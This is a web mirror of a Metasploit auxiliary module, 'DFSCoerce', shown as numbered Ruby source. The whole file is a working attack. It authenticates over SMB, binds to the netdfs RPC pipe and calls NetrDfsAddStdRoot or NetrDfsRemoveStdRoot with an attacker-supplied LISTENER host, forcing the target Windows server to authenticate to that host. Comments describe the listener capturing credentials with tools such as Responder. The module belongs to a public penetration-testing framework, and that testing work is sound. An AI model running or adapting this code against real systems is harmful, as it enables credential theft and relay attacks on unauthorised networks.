CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/dcerpc/dfscoerce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
require 'ruby_smb'
8
require 'ruby_smb/error'
9
10
class MetasploitModule < Msf::Auxiliary
11
include Msf::Exploit::Remote::DCERPC
12
include Msf::Exploit::Remote::SMB::Client::Authenticated
13
include Msf::Auxiliary::Scanner
14
15
Dfsnm = RubySMB::Dcerpc::Dfsnm
16
17
METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze
18
19
def initialize
20
super(
21
'Name' => 'DFSCoerce',
22
'Description' => %q{
23
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
24
},
25
'Author' => [
26
'Wh04m1001',
27
'xct_de',
28
'Spencer McIntyre'
29
],
30
'References' => [
31
[ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ]
32
],
33
'License' => MSF_LICENSE
34
)
35
36
register_options(
37
[
38
OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
39
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
40
]
41
)
42
end
43
44
def connect_dfsnm
45
vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol')
46
netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true)
47
48
vprint_status('Binding to \\netdfs...')
49
netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm)
50
vprint_good('Bound to \\netdfs')
51
52
netdfs
53
end
54
55
def run_host(_ip)
56
begin
57
connect
58
rescue Rex::ConnectionError => e
59
fail_with(Failure::Unreachable, e.message)
60
end
61
62
begin
63
smb_login
64
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
65
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
66
end
67
68
begin
69
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
70
rescue RubySMB::Error::RubySMBError => e
71
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
72
end
73
74
begin
75
dfsnm = connect_dfsnm
76
rescue RubySMB::Error::UnexpectedStatusCode => e
77
if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
78
fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
79
end
80
81
fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82
rescue RubySMB::Dcerpc::Error::FaultError => e
83
elog(e.message, error: e)
84
fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
85
end
86
87
begin
88
case datastore['METHOD']
89
when 'NetrDfsAddStdRoot'
90
dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart)
91
when 'NetrDfsRemoveStdRoot', 'Automatic'
92
# use this technique by default, it's the original and doesn't require a comment
93
dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share')
94
end
95
rescue RubySMB::Dcerpc::Error::DfsnmError => e
96
case e.status_code
97
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
98
# this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
99
print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
100
when ::WindowsError::Win32::ERROR_BAD_NETPATH
101
# this should be the response even if LISTENER was inaccessible
102
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
103
else
104
print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
105
end
106
end
107
end
108
end
109
110